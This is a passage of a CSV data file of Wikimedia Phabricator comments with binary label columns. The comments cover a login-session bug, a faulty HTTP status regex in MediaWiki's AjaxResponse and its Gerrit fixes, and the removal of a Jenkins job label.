+477555,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",I hope this is solved now by the hotfix?,,,1434657794,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+476927,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",I applied a hotfix for this issue only so it should be resolved until I can get a regular update done.,,,1434589444,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+476464,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",https://secure.phabricator.com/D13239,,,1434554884,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+476459,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""","I think this warrants UBN?
+
+@greg and @mmodell -- I'llet you guys decide",,,1434554688,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0
+476457,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""","This seems to be affecting users using LDAP credentials as well.  Effectively, no one can register and get going in Phab at this time AFAIK.",,,1434554574,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+476448,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",I removed @elee's account at their request and asked them to reregister w/ ldap account so we'll see how that goes,,,1434554355,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0
+476138,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",user @Elee reported having the same problem directly to me on IRC.,,,1434523989,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,0,0
+474410,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",I reset the sessions of @Damian_Yerrick so hopefully that resolves the issue for this particular user until we can get the update pulled on wednesday.,,,1434321239,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+474088,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",Sounds like https://secure.phabricator.com/D13239 which will get fixed [[ https://www.mediawiki.org/wiki/Phabricator/Maintenance | next Wednesday 23:59 UTC ]] on Wikimedia Phabricator.,,,1434194400,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+473896,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""",See https://www.mediawiki.org/wiki/Topic:Sj3iqq3ih39owig8,,,1434143646,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-hloyw4asqcmtaco4vprz,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+102028,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"From Fatalmonitor: `Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100`
+
+Unknown, really?",Medium,50.0,1433960365,1434250547.0,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-ykxb27mfezdexexjno32,task_description,resolved,True,c3,1,True,True,True,-4,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+474002,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"* https://gerrit.wikimedia.org/r/217527 (branch master): #mw1.26, #mw1.26wmf10
+* https://gerrit.wikimedia.org/r/217583 (branch wmf/1.26wmf9): #mw1.26wmf9
+",,,1434154628,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+473218,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Change 217583 merged by jenkins-bot:
+AjaxResponse: Fix broken logic for extracting HTTP status codes
+
+[[https://gerrit.wikimedia.org/r/217583]]",,,1434048046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+473209,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Change 217583 had a related patch set uploaded (by 20after4):
+AjaxResponse: Fix broken logic for extracting HTTP status codes
+
+[[https://gerrit.wikimedia.org/r/217583]]
+",,,1434047289,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+473207,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"I'd like to cherry pick this one to wmf9, it's spamming the logs",,,1434047269,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+473060,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Change 217527 merged by jenkins-bot:
+AjaxResponse: Fix broken logic for extracting HTTP status codes
+
+[[https://gerrit.wikimedia.org/r/217527]]",,,1434037926,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+473048,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Change 217524 abandoned by BryanDavis:
+Fix non-numeric HTTP status codes in AjaxResponse
+
+Reason:
+Krinkle has a better commit message and a more explicit conversion in Iafff9982bbbee893c13f891901dde88f998db7a6
+
+[[https://gerrit.wikimedia.org/r/217524]]",,,1434037192,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+473042,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"The only occurrence of `200 OK` in MediaWiki core is:
+```lang=php
+class AjaxResponse {
+..
+		$this->mResponseCode = '200 OK';
+..
+		if ( $this->mResponseCode ) {
+			$n = preg_replace( '/^ *(\d+)/', '\1', $this->mResponseCode );
+			HttpStatus::header( $n );
+..
+}
+```
+
+Which turns out, is a bad regex. It matches any and all whitespace at the start and has a match group for the first sequence of digits. And replaces that with just the digits match. This is essentially `ltrim()`. It doesn't account for the content after the first match.
+```
+php -a
+> echo preg_replace( '/^ *(\d+)/', '\1', '200 OK' );
+200 OK
+```
+",,,1434036654,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+473041,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Change 217527 had a related patch set uploaded (by Krinkle):
+AjaxResponse: Fix broken logic for extracting HTTP status codes
+
+[[https://gerrit.wikimedia.org/r/217527]]
+",,,1434036642,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+473032,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Change 217524 had a related patch set uploaded (by BryanDavis):
+Fix non-numeric HTTP status code
+
+[[https://gerrit.wikimedia.org/r/217524]]
+",,,1434035704,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+473025,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Probably from `includes/AjaxResponse.php:89`
+
+```
+$this->mResponseCode = '200 OK';
+```",,,1434035345,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+472983,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"https://gerrit.wikimedia.org/r/#/c/215032/6/includes/libs/HttpStatus.php adds:
+```
+* @param int $code Status code
+*/
+public static function header( $code ) {
+..
+trigger_error( ""Unknown HTTP status code $code"", E_USER_WARNING );
+```
+This method takes an integer.
+
+>>!@mmodell wrote
+> From Fatalmonitor: `Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100`
+
+This suggests something is calling it with the string ""200 OK"".
+
+The relevant commits added no new uses of http status codes. I've walked through it twice to confirm. I'm reasonably certain that this is an existing problem we were unable to detect before because there was no error handling, this kind of scenario was previously silently ignored.",,,1434034215,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,1
+472981,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"https://gerrit.wikimedia.org/r/#/c/215032/6/includes/libs/HttpStatus.php
+```
+* @param int $code Status code
+*/
+public static function header( $code ) {
+..
+trigger_error( ""Unknown HTTP status code $code"", E_USER_WARNING );
+```
+This method takes an integer.
+
+
+>>!@mmodell wrote
+> From Fatalmonitor: `Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100`
+
+This suggests something is calling it with the string ""200 OK"".
+",,,1434034078,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,1
+472979,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"https://gerrit.wikimedia.org/r/#/c/215032/6/includes/libs/HttpStatus.php
+```
+* @param int $code Status code
+*/
+public static function header( $code ) {
+..
+trigger_error( ""Unknown HTTP status code $code"", E_USER_WARNING );
+```
+This method takes an integer.
+",,,1434034042,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0
+472856,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,CC ing author @krinkle and +2ers @bd808 and @aaron,,,1434020520,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0
+472855,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,"Might be due to the recent http status changes:
+
+* https://gerrit.wikimedia.org/r/#/c/215032/ HttpStatus: Implement header() method
+* https://gerrit.wikimedia.org/r/#/c/215033/ //WebResponse: Implement statusHeader() using the new HttpStatus::header()//",,,1434020485,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+472854,Unknown HTTP status code 200 OK in /srv/mediawiki/php-1.26wmf9/includes/libs/HttpStatus.php on line 100,Might be due to https://gerrit.wikimedia.org/r/#/c/215033/ //WebResponse: Implement statusHeader() using the new HttpStatus::header()//,,,1434020423,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ykxb27mfezdexexjno32,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+101966,"Remove use of label ""hasSlaveScripts"" in jobs","hasSlaveScripts should also be available on labs slaves, not only production slaves. It seems the scripts are there but the slaves are not tagged that way. Perhaps the solution is to remove the tag if every slave has them.
+
+To find all such jobs:
+
+    ssh gallium.wikimedia.org 'grep -l hasSlaveScripts /var/lib/jenkins/jobs/*/config.xml|cut -d\/ -f6'
+
+
+That is all the -jslint jobs and:
+
+[X] erblint-HEAD https://gerrit.wikimedia.org/r/222283
+[X] jshint - https://gerrit.wikimedia.org/r/222115
+[X] jsonlint - https://gerrit.wikimedia.org/r/222115
+[X] *-jslint - https://gerrit.wikimedia.org/r/222115
+[X] mediawiki-core-jslint https://gerrit.wikimedia.org/r/222281
+[X] mediawiki-core-phpcs **unused** dropped by https://gerrit.wikimedia.org/r/222282
+[X] mediawiki-core-whitespaces  https://gerrit.wikimedia.org/r/222280
+[X] mwext-CirrusSearch-whitespaces  https://gerrit.wikimedia.org/r/222280
+[X] mediawiki-core-phpcs-HEAD https://gerrit.wikimedia.org/r/222123
+[X] mwext-.*-phpcs-HEAD https://gerrit.wikimedia.org/r/222123
+[X] operations-puppet-pep8 https://gerrit.wikimedia.org/r/217249 
+[X] operations-puppet-test https://gerrit.wikimedia.org/r/217249 
+[X] parsoidsvc-php-parsertests https://gerrit.wikimedia.org/r/222577
+[X] perllint https://gerrit.wikimedia.org/r/217503
+[X] pplint-HEAD https://gerrit.wikimedia.org/r/217504",Medium,50.0,1433931489,1435928447.0,PHID-USER-mdihg2tyzmlvyhn3h32y,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-bqd76hty3bieohxzwzaw,task_description,resolved,True,c3,1,True,False,True,-4,True,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,0,0,1
+486215,"Remove use of label ""hasSlaveScripts"" in jobs",The Jenkins label `hasSlaveScripts` is now gone !,,,1435928447,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+486214,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222579 merged by jenkins-bot:
+Remove last occurence of label 'hasSlaveScripts'
+
+[[https://gerrit.wikimedia.org/r/222579]]",,,1435928420,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+486211,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222579 had a related patch set uploaded (by Hashar):
+Remove last occurence of label 'hasSlaveScripts'
+
+[[https://gerrit.wikimedia.org/r/222579]]
+",,,1435928277,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+486209,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222577 merged by jenkins-bot:
+Migrate parsoidsvc-php-parsertests to labs
+
+[[https://gerrit.wikimedia.org/r/222577]]",,,1435928111,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+486206,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222577 had a related patch set uploaded (by Hashar):
+Migrate parsoidsvc-php-parsertests to labs
+
+[[https://gerrit.wikimedia.org/r/222577]]
+",,,1435927744,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+485522,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222283 merged by jenkins-bot:
+Migrate erblint-HEAD to labs slave (still on Precise)
+
+[[https://gerrit.wikimedia.org/r/222283]]",,,1435840008,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+485521,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222283 had a related patch set uploaded (by Hashar):
+Migrate erblint-HEAD to labs slave (still on Precise)
+
+[[https://gerrit.wikimedia.org/r/222283]]
+",,,1435839877,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bqd76hty3bieohxzwzaw,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+485517,"Remove use of label ""hasSlaveScripts"" in jobs","Change 222282 merged by jenkins-bot:
+Stop generating mediawiki-core-phpcs (ununsed)
+
